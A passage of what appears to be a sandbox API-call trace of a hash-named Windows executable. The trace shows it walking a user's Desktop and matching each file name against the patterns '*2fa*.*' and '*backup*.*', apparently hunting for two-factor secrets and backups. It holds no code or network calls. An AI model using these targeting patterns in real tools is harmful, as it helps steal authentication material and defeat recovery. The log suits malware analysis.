lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt", lpUsedDefaultChar=0x0) returned 48 [0146.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236aba0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.766] PathMatchSpecW (pszFile="uf7A4eOeh4J7.ppt", pszSpec="*2fa*.*") returned 0 [0146.766] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.766] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.766] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="vL0v.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv" [0146.766] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.767] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.767] lstrcatW (in: lpString1="\\", lpString2="vL0v.flv" | out: lpString1="\\vL0v.flv") returned="\\vL0v.flv" [0146.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0146.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv", cchWideChar=40, lpMultiByteStr=0x2363048, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv", lpUsedDefaultChar=0x0) returned 40 [0146.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.767] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ab70, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.767] PathMatchSpecW (pszFile="vL0v.flv", pszSpec="*2fa*.*") returned 0 [0146.767] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.767] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.767] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="X84p.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png" [0146.767] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.767] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.767] lstrcatW (in: lpString1="\\", lpString2="X84p.png" | out: lpString1="\\X84p.png") returned="\\X84p.png" [0146.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0146.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png", cchWideChar=40, lpMultiByteStr=0x2363048, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png", lpUsedDefaultChar=0x0) returned 40 [0146.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ac60, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.768] PathMatchSpecW (pszFile="X84p.png", pszSpec="*2fa*.*") returned 0 [0146.768] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.768] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.768] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Ym5Tg.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav" [0146.768] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.768] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.768] lstrcatW (in: lpString1="\\", lpString2="Ym5Tg.wav" | out: lpString1="\\Ym5Tg.wav") returned="\\Ym5Tg.wav" [0146.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0146.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav", cchWideChar=41, lpMultiByteStr=0x33400d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav", lpUsedDefaultChar=0x0) returned 41 [0146.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236aae0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.768] PathMatchSpecW (pszFile="Ym5Tg.wav", pszSpec="*2fa*.*") returned 0 [0146.769] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.769] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.769] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="YzUHXYWLxmgVgh-0.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv" [0146.769] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.769] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.769] lstrcatW (in: lpString1="\\", lpString2="YzUHXYWLxmgVgh-0.flv" | out: lpString1="\\YzUHXYWLxmgVgh-0.flv") returned="\\YzUHXYWLxmgVgh-0.flv" [0146.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv", cchWideChar=52, lpMultiByteStr=0x32bb0e0, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv", lpUsedDefaultChar=0x0) returned 52 [0146.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ab40, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.769] PathMatchSpecW (pszFile="YzUHXYWLxmgVgh-0.flv", pszSpec="*2fa*.*") returned 0 [0146.769] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.769] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.769] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="ZXgj9NJ y.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3" [0146.769] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.769] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.769] lstrcatW (in: lpString1="\\", lpString2="ZXgj9NJ y.mp3" | out: lpString1="\\ZXgj9NJ y.mp3") returned="\\ZXgj9NJ y.mp3" [0146.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0146.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3", cchWideChar=45, lpMultiByteStr=0x33400d0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3", lpUsedDefaultChar=0x0) returned 45 [0146.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ab40, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.770] PathMatchSpecW (pszFile="ZXgj9NJ y.mp3", pszSpec="*2fa*.*") returned 0 [0146.770] GetLastError () returned 0x12 [0146.770] SetLastError (dwErrCode=0x12) [0146.770] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0146.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340650, cbMultiByte=31, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 31 [0146.770] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340650, cbMultiByte=31, lpWideCharStr=0x32ba1e0, cchWideChar=31 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned 31 [0146.770] lstrcpyW (in: lpString1=0x19d32c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.771] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*" [0146.771] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*", lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x2347d81f, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x2347d81f, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8825b0 [0146.771] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.771] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.771] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\." [0146.771] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.771] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.771] lstrcatW (in: lpString1="\\", lpString2="." | out: lpString1="\\.") returned="\\." [0146.771] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.771] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.771] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.771] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.." [0146.771] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.771] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.772] lstrcatW (in: lpString1="\\", lpString2=".." | out: lpString1="\\..") returned="\\.." [0146.772] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.772] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.772] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.772] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.772] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="0AEOYBW.gif" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif" [0146.772] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.772] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.772] lstrcatW (in: lpString1="\\", lpString2="0AEOYBW.gif" | out: lpString1="\\0AEOYBW.gif") returned="\\0AEOYBW.gif" [0146.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0AEOYBW.gif", lpUsedDefaultChar=0x0) returned 43 [0146.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340b60, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.772] PathMatchSpecW (pszFile="0AEOYBW.gif", pszSpec="*backup*.*") returned 0 [0146.773] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.773] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.773] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="0pw9-hL.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf" [0146.773] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.773] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.773] lstrcatW (in: lpString1="\\", lpString2="0pw9-hL.rtf" | out: lpString1="\\0pw9-hL.rtf") returned="\\0pw9-hL.rtf" [0146.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0146.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", cchWideChar=43, lpMultiByteStr=0x33400d0, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0pw9-hL.rtf", lpUsedDefaultChar=0x0) returned 43 [0146.773] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.773] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340d40, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.773] PathMatchSpecW (pszFile="0pw9-hL.rtf", pszSpec="*backup*.*") returned 0 [0146.773] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.773] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.773] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" [0146.773] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.773] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.774] lstrcatW (in: lpString1="\\", lpString2="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" | out: lpString1="\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe") returned="\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" [0146.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cchWideChar=100, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 100 [0146.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", cchWideChar=100, lpMultiByteStr=0x23611c0, cbMultiByte=100, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", lpUsedDefaultChar=0x0) returned 100 [0146.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340d40, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.774] PathMatchSpecW (pszFile="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe", pszSpec="*backup*.*") returned 0 [0146.774] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.774] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.774] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="82JEM7uGSBUD5y.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg" [0146.774] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.774] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.774] lstrcatW (in: lpString1="\\", lpString2="82JEM7uGSBUD5y.jpg" | out: lpString1="\\82JEM7uGSBUD5y.jpg") returned="\\82JEM7uGSBUD5y.jpg" [0146.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0146.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", cchWideChar=50, lpMultiByteStr=0x32bade0, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\82JEM7uGSBUD5y.jpg", lpUsedDefaultChar=0x0) returned 50 [0146.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340ec0, cchWideChar=11 | out: lpWideCharStr="*backup*.*") returned 11 [0146.775] PathMatchSpecW (pszFile="82JEM7uGSBUD5y.jpg", pszSpec="*backup*.*") returned 0 [0146.775] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.775] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.775] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="8DlSlQ4DWJEgioA.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8DlSlQ4DWJEgioA.bmp" [0146.775] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.775] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.775] lstrcatW 